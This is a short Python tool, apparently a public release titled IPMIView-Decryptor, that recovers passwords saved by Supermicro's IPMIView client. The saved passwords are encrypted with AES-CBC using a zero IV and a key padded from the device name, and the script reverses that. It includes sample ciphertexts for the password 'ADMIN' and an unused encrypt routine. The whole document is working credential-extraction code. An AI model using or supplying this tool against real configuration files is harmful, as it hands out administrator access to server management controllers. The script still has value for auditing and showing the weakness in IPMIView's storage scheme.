Tools IPMIView-Decryptor By GrenXPaRTa

import sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad, pad
import binascii

# example hashes password is ADMIN
# 192.168.4.245=ADMIN,9fffcc32ee4ff7a419a1394121259f4e
# 16bytesaaaaaaaaa=ADMIN,403c38617187a228142c0745b2c48c56


def encrypt(device_name, encrypted_text):

    iv = b'\x00' * 16
    if len(device_name) < 16:
        key = pad(device_name, 16, style='iso7816')
    elif len(device_name) == 16:
        key = device_name

    padding_len = 16 - len(encrypted_text)
    padding = b'\x00' * padding_len
    data = encrypted_text + padding
    # data = pad(encrypted_text, 16, style='iso7816')

    print('Using key: {}'.format(key))
    print('Using iv: {}'.format(iv))

    print('Using data: {}'.format(data))

    cipher1 = AES.new(key, AES.MODE_CBC, iv)
    ct = cipher1.encrypt(data)

    print(ct.hex())


def decrypt(device_name, encrypted_text):

    # I know, i'll get fancy later to catch the other cases.
    # RN only works if less than 16
    padding_len = 16 - len(device_name)
    padding = b'\x00' * padding_len
    key = device_name + padding

    print('Device Name (key): {}'.format(key))

    iv = b'\x00' * 16
    data = binascii.unhexlify(encrypted_text)

    print('Encrypted Text: {}'.format(data))

    cipher2 = AES.new(key, AES.MODE_CBC, iv)
    pt = cipher2.decrypt(data)

    print('Password: {}'.format(pt.decode()))


if __name__ == '__main__':
    # encrypt(sys.argv[1].encode('utf-8'), sys.argv[2].encode('utf-8'))
    decrypt(sys.argv[1].encode('utf-8'), sys.argv[2])